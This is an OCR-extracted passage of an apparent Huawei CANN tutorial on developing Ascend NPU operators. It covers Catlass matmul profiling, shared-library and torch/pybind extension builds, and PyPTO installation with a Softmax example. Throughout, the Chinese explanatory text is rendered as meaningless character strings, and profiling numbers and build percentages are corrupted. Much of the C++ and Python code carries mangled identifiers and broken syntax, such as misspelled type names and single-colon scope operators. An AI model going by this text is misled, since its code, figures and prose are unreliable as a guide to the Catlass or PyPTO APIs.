[100%] Linking ASCEND executable 86_basic_matmul

[186%] Built target 86_basic_matmul

-- Install configuration: "Release"

-- Installing: /mnt/wenzhigiang/catlass/output/bin/ee_basic_matmul
[INFO]Target '0@_basic_matmul' built successfully

BREITEFIRERERS:

cd .Joutput/bin
msprof op --application="./00_basic_matmul 20 2112 6114 0"

&Z& PipeUtilization.csv 314,

- 1= L=

L= T = TT T ¥

Iblock id _Isub_block_ aic_time(u: aic_tot§l_cyaic_cube_tiaic_cube_riaic_scalar_iaic_scalar_raic_mtel_t aic_mtel_r
0 cube0 69.866669 125760 4.114444 0.0588% 8.317778 0.11%052 7.631667  0.109232
1 cube0 71.936668 129186  4.125556 0.05735  8.5659445 0.11%125 7.550556  0.104361
2 cubel 71.644447 123960 4.125556 0.057584 8.417778 0.117494 7.571667  0.105634

3 cubel 71.677223 12
4 cubel 71.506668 12
5 cubel 71.543892 12
6 cubel 71.270554 12
7 cubel 69.654442 1
8 cubel 69.735001 1
9 cubel 70.34111 12
10 cube0 70.40889 12
11 cube0 70.023331 12
12 cube0 69.635002 1
13 cube0 70.678337 12
14 cubel 70.71167 12
15 cubel 70.53389 12
16 cubel 70.362225 12

13 4125556 0.057557 8.982778 0.125323 7.396111 0.105577
12 4114444  0.057539 9.411667 0.131619 7.592778 0.106183
9 4.125556 0.057665 9.433888 0.131862 7.617778 0.106477
87 4.125556 0.057836 8.870556 0.124463 7.612222 0.106807
78  4.125556  0.055223 5.034445 0.129704 7.588333 0.108343
23 4.114444 0.05%001 5.49388% 0.136214 7.63  0.109414
14 4123556 0.058651 8.520555 0.121132 7.368333 0.107395
36 4.125556 0.058594 9.758389 0.138603 7.531667 0.106597
42 4.125556  0.058917  8.533334 0.121864 7.563334 0.108012
43 4125556 0.055245  8.514444 (0.122272 7.59 0.1083597
21 4125556  0.058371 8.735  0.123588 7.585  0.107317
81 4.114444 0.058186 8.795555 0.124386 7.570556 0.107062
61 4.123556 0.05843 8.53%2778 0.121825 7.631111 0.108191
12 4125556  0.038467 8.627778 0.122272 7.62838%9 0.108116
17 cube0 70.59333 129068 4125556  0.058441  8.830556 0.125091 7.647778 0.108336
18 cubel 69.861664 123751 3.666667 0.052485 8.73883% 0.125088 6.825555 0.097701
19 cubel 1.067222 1921 0 0 0.977222 0.915669 0.002778 0.002603

AILAERI R E FERTEN 70.64us, HHEEF 72us, BIRFHERT K, XEERERS
00_basic_matmul T#2, A/B (EFFRIHHAAZZLERE RowMajor,
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using LayoutA = layout::RowMajor;
using LayouwiB = layout::RowMajor;
using LayowiC = layout::RowMajor;

LayoutA layoutA = Layouta: itemplate MakeLavout<Elementarim, k);
LayoutE layoutB = LayoutlB::template MakeLavout<ElementEx({k, n);
Layoutc layoutC{m, n};

%% B 2E[&E2 9 ColumnMajor, EFmHITmIFNNL, #HTXILE,
R T REIE:

Iblock id !sub_block_aic_time(usal'c_total_c‘,aic_cube_tiaic_cube_rzal'c_scalar_1a|'c_sca|ar_r
0 cube0d 111.92555 201466  9.078333 0.08111 12.197778 0.108981
1 cube0d 108.71778 1956592 9.102222  0.083723 12.324445  0.113362
2 cube0d 110.60056 199081 9.102222  0.082298 12,31  0.111301
3 cube0 110.65889 199186 9.102222 0.082255 12.771111 0.11541
4 cube0 110.80111 195442 9.088333 0.082024 12.743889  0.115016
5 cubel 113.07777 203540 9.102222 0.080495 12.851111 0.113648
6 cubed 111.54444 200780 9.083883 0.081437 12579445 0.112775
7 cubel 109.74555 197542  9.102222  0.082939 12742222 0.116107
8 cube0 34.413334 61944  3.462222 0.100607 14.438334 0.419556
9 cube0d 1.689444 3041 0 0 0.792222 0.468925
10 cube0d 1.635 2943 0 0 1.627222 0.995243
11 cube0d 1.515556 2728 0 0 0.686667 0.453079
12 cubed 0.701111 1262 0 0 0.715444 1.026149
13 cube0d 1.112778 2003 0 0 1.41 1.267099
14 cube0d 1.521111 2738 0 0 1.062778 0.698685
15 cube0d 1.25 2250 0 0 1.036111 0.828889
16 cubed 1.182778 2129 0 0 1.442222 1.219352
17 cube0 0.974444 1754 0 0 1.473333 1.511973
18 cube0d 1.007778 1814 0 0 1.304444  1.294377
19 cubed 1.089444 1961 0 0 1.057222 0.970423
BE AT 110.88us,
B TR
block_id !sub_block_ aic_time(u:aic_total_cyaic_cube_tiaic_cube_riaic_scalar_taic_scalar_raic_mtel_t |
0 cube0 41.062778 73913 4114444 0100199 6.579444 0.160229 7.546111
1 cube0 43.474998 78255 4.125556  0.094895 6.626111 0.152412 7.471667
2 cube0 42.213333 75984  4.125556  0.097731 6.818889 0.161534 7.51
3 cubed 42.334539 76203 4.114444 0.097188 7.152222 0.168943 7.496111
4 cubel 41.538887 74770 4114444 0.09505 7.484445 0.180179 7.4585555
5 cubel 43.723888 78703 4.125556 0.094355 7.678889 0.175622 7.532222
6 cube0 41.228333 74211 4114444 0.099797  7.247222  0.175783  7.490556
7 cubel 42.582779 76649  4.125556  0.096883 7.279444  0.170948 7.515444
8 cubeD 43.439445 78191 4.125556  0.094573  7.559444  0.174023 7.522222
9 cubed 43.669445 78605 4.125556 0.094472 6.695 0.153311 7.512222
10 cubel 43.463333 78234 4.125556 0.09492 7.530556 0.173262 7.485
11 cubed 43.874443 78974 4.125556 0.094031 6.595556  0.150328 7.515
12 cube0 43.310555 77939  4.125556  0.095255 6.752222 0.155902 7.474444
13 cube0 42.30389 76147  4.114444  0.09725% 6.818333  0.161175 7.515
14 cube0 42,75 76950 4.125556  0.096504 6.936660 0.162261 7.435
15 cubel 43.91 79038 4.125556 0.093955 6767222 0.154116 7.532778
16 cubel 41.733891 75121 4.125556 0.0988534 6.796667 0.162857 7.525
17 cubed 43.835556 78904 4114444 0.093861 6.858889 0.156465 7.491667
18 cube0 39.25 70650  3.651667  0.093036 8.5 0.216561 6.875556
19 cubeD 0.967222 1741 0 0  0.911111 0.5415987 0.002778

EEFHERTLY0 42.80us, MHEEUEF61.40%.,

2% Catlass 4HREMILFA, %3F RowMajor/ColumnMajor 8=, IFRZ L1:M/L1:N/LT:K 1E
256 EHEREHREE S, (B5REIIEFEREXE,; M zN BN T2EH 256 EHH I
BN,
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JUMEHEAVHERIE AT 2% https://zhuanlan.zhihu.com/p/1991569656939561812,
Hipi i FEaeE:

https://gitcode.com/cann/catlass/blob/master/docs/1_Practice/10_matmul_optimization.m
d

324 18 AH=EE

EEBATERRIMERES T, SLIINETENER, BEXAHFEXNBENIIET
2. MEENTLUSERESFRIEATEZE, UK EEESEIEVRER.
A[&%# catlass/examples/shared_lib,

(LR

examples/shared_lib

F—— include

| L— catlass_kernelh # L3

—— src

| }— common

| L—commonhpp # N, TREEAEA kernel EISIRRE LA
L— kernels # EFsCIm

I— basic_matmul.cpp

|
|
|
| ;

L—— basic_matmul_shared_lib.cpp # CATLASS examples X1&{sEFH7=4!

2SS p iR T DO BB S E /751

BasicMatmul: EAERERE, IRMSEBURIRRISSINGIE
GroupedMatmul: 34EXERESRIE, IREDEHMANRLH R
OptimizedMatmul: L ERESRE, 124t OV RERIRA)
ConvBias: BIREF

LA basicmatmul 8F 79, RIAHZERIRS

IR 1 EF kernel SCIY

£ shared_lib/src/kernels 3432 ElEE basic_matmul.cpp ( HEHRHBEHEIZSUE, 70
BN EFLNNEENE ) , LMEFAE,

#include "catlass/gemm/kernel/basic_matmulhpp"
#include <acl/acl.h>

#include "catlass/arch/arch.hpp"

#include "catlass/catlass.hpp"

#include "catlass/gemm/block/block_mmad.hpp"
#include "catlass/gemm/block/block_swizzle.hpp"
#include "catlass/gemm/device/device_gemm.hpp"
#include "catlass/gemm/dispatch_policy.hpp"



https://zhuanlan.zhihu.com/p/1991569656939561812
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#include "catlass/gemm/gemm_type.hpp"
#include "catlass/layout/layout.hpp"
#include "catlass/status.hpp"

#include "catlass_kernel.h"
#include "common.hpp"

namespace CatlassKernel {
using namespace Catlass;

template <class LayoutA, class LayoutB, class LayoutC, class InDType, class OutDType>
void BasicMatmullmpl(const uint32_t blockNum, aclrtStream stream, const Kernellnfo &kernelinfo) {

GemmCoord problemShape{kernelinfo.m, kernelinfo.n, kernelinfo.k};
uint8_t *deviceA = kernellnfo.inputAddr.at(0);

uint8_t *deviceB = kernellnfo.inputAddr.at(1);

uint8_t *deviceC = kernellnfo.outputAddr.at(0);

using ArchTag = Arch:AtlasA2;
using DispatchPolicy = Gemm:MmadAtlasA2Pingpong<true>;

using L1TileShape = GemmShape<128, 256, 256>;
using LOTileShape = GemmShape<128, 256, 64>;

using AType = Gemm:GemmType<InDType, LayoutA>;
using BType = Gemm:GemmType<InDType, LayoutB>;
using CType = Gemm:GemmType<OutDType, LayoutC>;

using BlockMmad = Gemm::Block::BlockMmad<DispatchPolicy, L1TileShape, LOTileShape, AType,
BType, CType>;
using BlockEpilogue = void;

// Swizzle offset is 3 and direction is 0.
using BlockScheduler = typename Gemm::Block:GemmldentityBlockSwizzle<3, 0>;

// kernel level

using MatmulKernel = typename Gemm:Kernel::BasicMatmul<BlockMmad, BlockEpilogue,
BlockScheduler>;

using MatmulAdapter = typename Gemm::Device:DevicecGemm<MatmulKernel>;

typename MatmulKernel:Arguments arguments{problemShape, deviceA, deviceB, deviceC};
MatmulAdapter matmulOp;
RunAdapter<MatmulAdapter>(matmulOp, arguments, stream, blockNum);

void BasicMatmul(const uint32_t blockNum, aclrtStream stream, const Kernellnfo &kernellnfo) {

if (kernellnfo.inputDataType == ACL_FLOAT 16 && kernelinfo.outputDataType == ACL_FLOAT 16
&& 'kernelinfo.transA

&& 'kernellnfo.transB) {
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BasicMatmullmpl<layout:RowMajor, layout:RowMajor, layout:RowMajor, half, half>(blockNum,
stream, kernelinfo);

}

// If more conditions are needed, add branches manually.

i // namespace CatlassKernel
SHEMIT:
=3 & x3 R
blockNum uint32_t i@ FaiCore P
stream aclrtstream NPUR
kernelinfo  Kernelinfo  HTFHITHMEHHHGRNFEER, MmnkS K/
£ shared_lib/include/catlass_kernelh #r1&}0 basic_matmul.cpp HPEY host N[O ( i3
B8, TNECHNEFIMESEM ) , LMINEBER .
/] ..
void BasicMatmul (uint32_t blockNum, aclrtStream stream, kernellnfo &kernellnfo);
/] ..

L2 E7AER

2% examples/shared_lib/basic_matmul_shared_lib.cpp &"EERS ( ZEiXAEEs, ix
INBCEFELMEEIE ) .

#include "catlass_kernel.h"
/] ..
CatlassKernel:Kernellnfo kernelinfo;
kernelinfo.inputAddr = {reinterpret_cast<uint8_t *>(deviceA), reinterpret_cast<uint8_t *>(deviceB)};
kernelinfo.outputAddr = {reinterpret_cast<uint8_t *>(deviceC)};
kernelinfo.inputDataType = ACL_FLOAT16;
kernelinfo.outputDataType = ACL_FLOAT16;
kernellnfom = m;
kernellnfo.n = n;
kernellnfo.k = k;

CatlassKernel::BasicMatmul(aicCoreNum, stream, kernellnfo);

/] ...

L3 wWF

(&24./examples/shared_lib/CMakelLists.txt, 1&f0 profapi 2#:

FLASCCND_TTOTE _FPATTI7 O TOUE; gC LT 7
target_Llink_libraries(basic_matmul_shared_lib PRIVATE catlass_kernel_static profapi)
add_dependencies(shared_lib basic_matmul_shared_1l1ib)

install(TARGETS basic_matmul _shared 1ib DESTINATION bin COMPONENT shared lib)
endif()

(eI ap <L TR :

| cd././
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bash scripts/build.sh shared_lib -DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-
beta.1/aarch64-linux/bin/bisheng -DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3

# WEAHITRE, FERZES
bash scripts/build.sh -DCATLASS_BUILD_USAGE=ON -

DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-beta.1/aarch64-linux/bin/bisheng -
DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3 shared_lib

[ Go%] BULLOdNg ASCEND ODJECT EXamples/snared_LibD/LMaKer LLes/CaLlass _Kernel STtatic.dir/STC/KETNELS/grOUped_matmuL.cpp .o
[ 66%] Building ASCEND object examples/shared_lib/CMakeFiles/catlass_kernel.dir/src/kernels/grouped_matmul.cpp.o

[ 66%] Building ASCEND object examples/shared_lib/CMakeFiles/catlass_kernel static.dir/src/kernels/optimized_matmul.cpp.o
[ 66%] Building ASCEND object examples/shared_libsCMakeFiles/catlass_kernel.dir/src/kernels/optimized_matmul.cpp.o

[ 83%] Linking ASCEND static library libcatlass_kernel_static.a

[ 83%] Linking ASCEND shared library libcatlass_kernel.so

[ 23%] Built target catlass_kernel_static

[ 83%] Built target catlass_kernel

onsolidate compiler generated dependencies of target basic_matmul_shared_lib
[ 91%] Linking CXX executable basic_matmul shared_lib
[100%] Built target basic_matmul_shared lib
[100 s] Built target shared_lib

- Install configuration: "Release"

- Installing: /mnt/wenzhiqiang/catlass/output/bin/basic_matmul_shared_lib

- Installing: /mntswenzhigiang/catlass/output/shared_1ibslib/1ibcatlass_kernel.so
- Installing: /mntswenzhigiang/catlass/output/shared_Libslibs/libcatlass_kernel_static.a
- Up-to-date: /mnt/wenzhigiang/catlass/output/shared_lib/include

Up-to-date: /mnt/wenzhigiang/catlass/output/shared libsinclude/scatlass_kernel.h

[INFO] arget 'shared_lib' built successfully

PRIERRIN R FYEEN:

output
—— bin
| L— basic_matmul_shared_lib # {ERRA
—— shared_Llib
I— include
| L— catlass_kernelh # XM
L—lib
— libcatlass_kernel.so # ENSHEERE
L— libcatlass_kernel_statica # s&SHEiERE

KhIFER:
B Joutput/bin {3

cd Joutput/bin  # FRIZIZBESLRRIEIIEEL
/basic_matmul_shared_lib 20 6144 2048 0

/catlass/output/bin# ./basic_matmul_shared 1ib 20 6144 2048 0 |

Compare success.

3.2.5 python ¥ &

H5{E(FEH CATLASS &+, £ catlass/examples/python_extension it TEF pybind11
#0 torch 247 {#FH python & CATLASS EFHIA

(EEES D

python_extension

—— CMakeLists.txt # CMake BCES 4
—— README.md # BB
—— pyproject.toml # MBREXH

—— setup.py # REERAR
—— src
| }— bindings
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| | }F— pybind_bindings.cpp # pybind11 4BE3 14
| |  L—torch_bindings.cpp # torch 4BES (4
| F— include
| | L— wrapper
| | L— catlass_kernel_wrapper.h # wrapper L3244
| L— wrapper
| L— catlass_kernel_wrapper.cpp # catlass & wrapper 4%
L—— torch_catlass
L— init_.py # PRte A, BAFHE
tests

L—— test_python_extension.py # Mt

FEIEE shared_lib/s, 14117 BT A9SHURIACL,

3% 1 pybind 0L

BT pybind fENSEK at:Tensor MIE AscendC Ffdtttitisst (GM_ADDR) , FRLAEE
python IRfERAVEIBIHITINE . FZELBEHIRIERIA tensor FIERERIZTEESH, B
BRERF. WHDSEFASSHIEX, JSEEFGR
/python_extension/wrapper/matmul SCHL,

L2 wF

(ERITa<:

cd /mnt/xxx/ops_development/catlass

bash scripts/build.sh python_extension -DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-
beta.1/aarch64-linux/bin/bisheng -DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3 # ¥&
% pybind §' @

bash scripts/build.sh torch_library -DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-
beta.1/aarch64-linux/bin/bisheng -DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3 # %&

Ftorch '@

JRiERLINfE, RSB

) . _ . _/catlass/output/python_extension# 1s
libcatlass torch.so torch catlass-0.1.0.20260331035516-cp311l-cp31l-Linux aarché4.whl

output/python_extension

—— libcatlass_torch.so # torch ohSpHERE

L—— torch_catlass-0.1.0.20250330120000.cp310-cp310-linux-x86_64whl  # pybind11 S5~
wheel &

S|3 =E

XIF torch &, RESEFREFRIBINNTARES (XBERERAIREE, FEmESERL
3) :

| torch.ops.load_library("output/python_extension/libcatlass_torch.so™)

FF pybind ', RFFFMIEIA— wheel &, 14T pip install torch_catlass-xxxx.whl ]
q,




S

HUAWEI

CANN B LIS T B39

# IRIZIRIBLIRERIEL
pip install ./output/python_extension/torch_catlass-0.1.0.xxxxxxx-cp311-cp311-linux_aarch64.whl

* pip install ./output/python_extension/torch_catlass-8.1.8. 1-Linux_aarch6d.whl
Processing ./output/python_extension/torch_catlass-8.1.0. 1-Tinux_aarched.whl
[Installing collected packages: torch-catlass
Fuccessfully installed torch-catlass-8.1.8.
AR n result in bro
Virc nings/venv. Use

ehaviour with the system

if you know what you are doing

G: Running pip as the 'root' user
ent instead: https://pip.pypa.io

suppress this v

possibly rendering yo

1 "=
=B 4 57

£ catlass BR T2 test.py, wELATREILE, #HITEFER:

import torch_catlass

import torch

importtorch_npu

from torch_npu.testing.testcase import TestCase, run_tests

class CatlassTest(TestCase):

def test_basic_matmul(self):
a = torch.ones((2, 3)).to(torch.float16).npu()
b = torch.ones((3, 4)).to(torch.float16).npu()
result = torch_catlass.basic_matmul(a, b, "float16")
golden = torch.mm(a, b)
self.assertRtolEqual(result, golden)

def test_basic_matmul_torch_lib(self):
a = torch.ones((2, 3)).to(torch.float16).npu()
b = torch.ones((3, 4)).to(torch.float16).npu()
torch.ops.load_library("./output/python_extension/libcatlass_torch.so") # Fa{RINEEFEIRER
result = torch.ops.CatlassTorch.basic_matmul(a, b, "float16")

golden = torch.mm(a, b)
self.assertRtolEqual(result, golden)

if _name__=="_main_":

run_tests()

3.2.6

BTER:

Jcatlass# python test.py

Ran 2 tests in 6.539s

0K

{§ 8 Catlass iREHITE AR, Hkeh TileShape BIEZEBHIZ?
& #HiTzEREtdE, XU ERZAIHEFIEEE.
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3.3 SCHG/NES
ASLIIBIT A Catlass IRMREEARER,, FHBEIIIRIMERE, HmIFFIE(T Catlass EiRE
BF, ERNEERNINSRERE FIUHERNFR, FEERET Catlass BiREN A ESHE
FHE .
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(M PyPTO FAEF

4.1 SEIG9E
4m1%$$§%
13{#EF PyPTO H1THEIRIZEEFHA o

4.1.2 LIS BRY
E12(EMH PyPTO HTRBEF L,

4.1.3 LG
ESERERERIBE, WEHTEFFRRIL,

4.2 SCISHRE
4.2.1 TREME

L) = =

SIB 1 L% pypto

cd /mnt/xxx/ops_development

cd pypto

python3 -m pip install -r python/requirements.txt #Z&(KEH, IRIB AN SEE(ER

wget https://ascend-repo.obs.cn-east-2.myhuaweicloud. com/CANN/CANN%209 0.T2/Ascend-cann-910b-
ops_9.0.0-beta.1_linux-aarch64.run?response-content-type=application/octet-stream # ZZETEf

mv 'Ascend-cann-910b-ops_9.0.0-beta.1_linux-aarch64.run?response-content-type=application%2Foctet-
stream' Ascend-cann-910b-ops_9.0.0-beta.1_linux-aarch64.run

bash ./Ascend-cann-910b-ops_9.0.0-beta.1_linux-aarch64.run --install

wget http://container-obsfs-filesystem.obs.cn-north-4.myhuaweicloud.com/package/cann/pto-
isa/version_compile/master/release_version/ubuntu_aarch64/cann-pto-isa_linux-aarch64.run

bash ./cann-pto-isa_linux-aarch64.run --full

{85 CANN IAi5:

# ERARRRZEE, L root AP (JE root B, ¥&/usr/local Ei}${HOME} )

source /usr/local/Ascend/ascend-toolkit/set_env.sh



http://container-obsfs-filesystem.obs.cn-north-4.myhuaweicloud.com/package/cann/pto-isa/version_compile/master/release_version/ubuntu_aarch64/cann-pto-isa_linux-aarch64.run
http://container-obsfs-filesystem.obs.cn-north-4.myhuaweicloud.com/package/cann/pto-isa/version_compile/master/release_version/ubuntu_aarch64/cann-pto-isa_linux-aarch64.run
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T2 mERE

# PITRIERZE
python3 -m pip install . --verbose

S’ 3 HlinT

HNEBIB RFETT:

cd examples/00_hello_world
export TILE_FWK_DEVICE_ID=0
python3 hello_world.py --run_mode=npu

/pypto/examples/00_hello world# python2 hello_world.py --run_mode=npu

PyPTO hello_world Example

Running examples that require NPU hardware...
(Make sure CANN environment is configured and NPU 1is available)

Running Example hello_world::test_add direct: hello_world
Input® shape: torch.Size([1, 4, 1, 64])
Inputl shape: torch.Size([1, 4, 1, 64])
Output shape: torch.Size([1, 4, 1, 64])
Max difference: 9.000000
_/pypto/examples/00_hello_world/helle_world.py:87: DeprecationWarning: _ array__ implementation doesn't accept a copy keyword
copy' keyword arguments. To learn more, see the migration guide https://numpy.org/devdocs/numpy_2_8_migration_guide.html#adapting-to-changes
assert_allclose(np.array(output_data.cpu()), np.array(golden.cpu()), rtol=3e-3, atol=3e-3)
v Hello world example passed

WIMRIEE o

4.2.2 PyPTO 143

PyPTO (&% : paip-t-o) 2 CANN #EHAI—FEDE Al IIERENSRIZESS, SEE
HEFRERE, EIRETSHEEETERED . 1ZIEZERAEEIFY PTO (Parallel Tensor/Tile
Operation ) #wiEsBzl, LIET Tile FURIEEEAZZTHES, BESEAINTEERX,
BEPET AP K Al RIS EIXRRY Tensor IHHEERRERIZHRIBLIES, RERERTIE
BirFE LB THIRES, FEEEMILL MPMD ( Multiple Program Multiple Data ) /5=
BEHIT.

PYyPTO {EZER D BRI LT, M APl BIRERE AT, HEoAUTIINER:

BREOE =
Usiar intetscs Layeé Tensorig&fF. Function. JITHiF
\ 4
HHERRE Tensor Graph. Tile Graph. Block Graph, Execute Graph

Compute Graph Compie Layer

v

RBERE IS o — s pe et
i i i BRUESER. BIRFaREBEL

v

WERGE

Nl
Scheduling & Exscution Layer MPMD:&EE. Control Flow

® MFAPIE (User Interface Layer) : EPyPTOMERSHAERENEOER, 2t
PythoniFAOmiEE0, FHABEEBLUEMNAXRAITERIE, MELTHRINT
= haSR iR
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o tEEYRZFE (Compute Graph Compile Layer) : PyPTOXRFEZERITEEZR
X, NSRS MR ERRNT EER RN,
Tensor Graph: BERAITensori®(E, MHAEIRRITEREFRILT.
Tile Graph: TE4REIRITilelE, ORI BEGHITHEIINTFRRENM.
Block Graph: FESX, XEFHTHITIIRREE.
Execute Graph: #i17E, S KHXZMNAEREE.
o ‘HIFIEEIERWAIPassSEIL, BN MERBEZ 1 PassERk, REIFEMRIMNILE

HIR(ESs.
Tensor GraphBfiEr: SCIUFIRRHFRRIEINNMC, BIETUREB(EHR. KB K
EAESi:

Tile Graphf1E&: RiETileShapei#{TTileEBFF, M TileHRBIRILIL, BIERTEE
BN, BomMREER. FEVINE.
Block GraphffiEs: tIEmMITEFE, #HiTBlockKk BRI, SFELFRAE. W
FEA. AP AEAE.
Execute GraphffiEg: ESitEFEER, WHEEMRZZIHITEL.

o {LRBLERLE (Code Generation Layer) : B{U{LERYTTEER A BIiRFERRT
HATRE.
EIESER: MExecute Graph&ZEpPTOREHIIESKES (PTO Virtual
Instructions) ,
BirFaimE: BEINESHEANEITFFESRE.

® EEHITE (Scheduling & Execution Layer) : GASRKAHFITABMERE LEE
AT,
MPMDBE: aTHfTBERE LBEMPMDAER BERIR RS Z.
EHImHT: BERESKEXR, PiTiEHIREE.

4.2.3 PyPTO BFLIiREE

FRN RN ER PyPTO HEERSCIl—MEERAY Softmax B+, FiBIT LK AGIERIE
o

LT’ 1 EFSHIE
% 1 Softmax EFIRIHIIE

name shape data type format
inputs (faiM) (-1,32,1,256) float MD

outputs () (-1,32,1,256) float MD
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exp(z;— M)

Zjexp(zj—M)
HitEREO: exp, sum, /(div), amax, - (sub)

SIE2 EFHRBEm

FEFFIASCE Softmax EF 28, BFEHFESA PyPTO. PyTorch #1 Numpy &, PyPTO &
BRIEMHT Tensor /ERNZmiEAEH, 0 PyTorch F1 Numpy &R FEF4ERIGE .

M = max(z), SoftMax(z;) =

import pypto
import torch
import numpy as np

from numpy.testing import assert_allclose

BOMEADIBE:
1. SCEUR O E RS

PyPTO $2{1t 7= &4 Operation (32(F ) 0, FAFIHANRMNTESSIE. FARETLURE
B FIANASTE Operation 300, STMSZMYITEIBIE. LI TR Softmax EFHY
AN P SRR

def softmax_core(x: pypto.Tensor) -> pypto.Tensor:
row_max = pypto.amax(x, dim=-1, keepdim=True) # HETHRAE
sub = x - row_max # BERA—1k
exp = pypto.exp(sub) # IBHEE
esum = pypto.sum(exp, dim=-1, keepdim=True)  # K70
return exp / esum # HE=RIT—1k

2. SCIR Softmax Kernel EREL
N7 EITEEERE B FE0sT, FESLH Softmax Kernel BREY, FiEid
@pypto.frontend.jit FimGITREFIRMEHES, HEHPENEIRTID FHEMMEESS
0% . TEVERERYTEIZ(EN PyTorch Tensor, PyPTO HEZEBEnhRME Tensor FIZEELEELI,

@pypto.frontend.jit

def softmax_kernel(
input_tensor: pypto.Tensor([pypto.DYNAMIC, ..], pypto.DT_FP32),
output_tensor: pypto.Tensor([pypto.DYNAMIC, ..], pypto.DT_FP32),

bs, seglen, head, dim = input_tensor.shape
tile_b=1 # Process one batch at a time
b_loop = bs // tile_b

# Tiling shape setting for efficient execution
pypto.set_vec_tile_shapes(1, 4, 1, 64)

for idx in pypto.loop(0, b_loop, 1, name="LOOP_LO_bldx", idx_name="idx"):
b_offset = idx * tile_b
b_offset_end = (idx + 1) * tile_b
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input_view = input_tensor[b_offset:b_offset_end, :seqlen, :head, :dim]
softmax_out = softmax_core(input_view)
output_tensor[b_offset; ..] = softmax_out

Hroh, ATIESETFHITERER, aJLUEE set_vec_tile_shapes 5§ set_cube._tile_shapes 1
O, ISEBRIENDIE (Tiling ) B, 13X Tiling BLEBITE D REIEHER LT Tile HZ (0
64 ) , BIfCAREHIEFIF T ERE,

| pypto.set_vec_tile_shapes(1, 4, 1, 64)

3. wRENLLFEA

R TIEIE Softmax EFAIIEHEMYE, BE—NUIXEH . izt BEIEER PyTorch Tensor {EA
BN, BT PyPTO kemel #1715, F5 PyTorch FIAE Softmax EREIRVESRHI T, 7£
Fraa$4T PyPTO 1 PyTorch #8X(LiBZ2E1, EEISEXIMAY Device ID, ZEEE
torch.npu £ ¥KEXZFIAY Device ID,

def test_softmax(device_id: int = None, run_mode:str = "npu", dynamic: bool = True) -> None:
device = f'npu:{device_id} if (run_mode == "npu" and device_id is not None) else 'cpu’

shape = (32, 32, 1, 256)
x = torch.rand(shape, dtype=torch.float, device=device)
y = torch.zeros(shape, dtype=torch.float, device=device)

softmax_kernel(x, y) # default dim: -1
golden = torch.softmax(x, dim=-1).cpu()
y = y.cpu()

max_diff = np.abs(y.numpy() - golden.numpy()).max()
print(f"Input shape: {x.shape}")

print(f"Output shape: {y.shape}")

print(f"Max difference: {max_diff.6f}")

if run_mode =="npu":

assert_allclose(np.array(y), np.array(golden), rtol=3e-3, atol=3e-3)
print("v Softmax test passed")
print()

4. BESHAT

& FG{IF examples/02_intermediate/operators/softmax/softmax.py

cd ./examples/02_intermediate/operators/softmax
export TILE_FWK_DEVICE_ID=0

#HATHIZA
python3 softmax.py

WITEINE, BRUTMER:
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|/pypto/examples /82_intermediate/operators/softmax# python softmax.py
PyPTO Softmax Example
Running examples that require NPU hardware...
(Make sure CANN environment 1is configured and NPU is available)
Running Example softmax::test_softmax: Softmax
Input shape: torch.S5ize([32, 32, 1, 256])
Output shape: torch.Size([32, 32, 1, 256])
Max difference: 0.000000
/mnt/wenzhigiang/pypto/examples/02_intermediate/operators/softmax/softmax.py:127: DeprecationWarning: _ array__ 1if
nt 'dtype' and 'copy' keyword arguments. To learn more, see the migration guide https://numpy.org/devdocs/numpy_2
assert_allclose(np.array(y), np.array(golden), rtol=3e-3, atol=3e-3)

v Softmax test passed
= A * *[+ =150 132 1= =+
ERS, SfE${work_path}/output/output */BF (MURRIEIR ) TERARIFFIMITHILER
%o

/pypto/examples/02_intermediate/operators/softmax# cd output/

/pypto/examples/02_intermediate/operators/softmax/output# ls

05_AClleoeg2

LB >
=& 3 BEITEE

PYyPTO 2 fEfmiZidied, £Bzh4ERE Tensor # Operation & TAHIEILZEM, BIitE
o ZITEEST PyPTO FiELITE, TRANRGITEERATHTERRmZEIRE, &E%
FXRI7E A BB IR A R I TR HI TS, LASCEHLSERRAT &1ESS . BB RIfER) PyPTO
Toolkit A TEEFITEEFRIXBER.

{ERPRM_EAY huawei vscode, %22 PyPTO Toolkit 3&f4: https://ascend-cann.obs.cn-
north-4.myhuaweicloud.com/devkit/pypto-toolkit-1.1.0.vsix

| wget https://ascend-cann.obs.cn-north-4.myhuaweicloud.com/devkit/pypto-toolkit-1.1.0.vsix

$JFF Visual Studio Code, HNY R"1EI<FHE, BEG EARY".", 1=FE N VSIX %

] File Edit Selection View Go

EXTENSIONS ] Welcome X
Views

Check for Extension Updates
V INSTALLED

Disable Auto Update for All Extensions

Bito ACode Reviews

\gentic, codebase-aware Al Cod Enable All Extensions

€ Bito

Disable All Installed Extensions

GitHub Copilot Chat 9 Show Running Extensions
(=X ) J hat feature wered | Cor y
@ ‘ > Start Extension Bisect

Install from VSIX...

Python
Python lang

S T EAY.vsix AU, TR
1. fzEEs{work_path}/output/output_*/program.json ST, FES@H R BarhsEHE (s Al
PyPTO Toolkit $TF”,



https://ascend-cann.obs.cn-north-4.myhuaweicloud.com/devkit/pypto-toolkit-1.1.0.vsix
https://ascend-cann.obs.cn-north-4.myhuaweicloud.com/devkit/pypto-toolkit-1.1.0.vsix
https://ascend-cann.obs.cn-north-4.myhuaweicloud.com/devkit/pypto-toolkit-1.1.0.vsix

S

HOAWE CANN BFFF LIRSS FH H47R
program.json {4 &7T Execute Graph #[ Block Graph fSiCEER, BHRIEEEEN:
EARIBRE7 Tensor = (ARBAN/LEEHE) « RERAAERADS (F8 XI5
iR, PHEOLASHEEREEE ) -

~ SOFTMAX [S5H: ATLASE0OTT (ROOT@10.175.221.73]]
~ output/output_20260330_101501_212490_142905_AC110002
» built_in

» kernel_aicore

» kemnel_aicpu

{} program,s
{} topo.json PyPTC Toolkit: Open file

105 input_tensor (56) 117 output_tensor (62)

Slot ID: [8] 10000 SlotID: [9]
CALL: TENSOR_default_loop_1_Unroll1_3
[-1.32,1.256] Subgraph ID: -1 | e [-1.32.1.256]
[-1.32,1,256] " [-1.32,1,.256]
[0.0.0,0] InCast: [105] fset [0.0.0.0]
‘MEM_UNKNOWN" OutCast: mn ‘MEM_UNKNOWN"*
'MEM_UNKNOWN* £e "MEM_UNKNOWN'

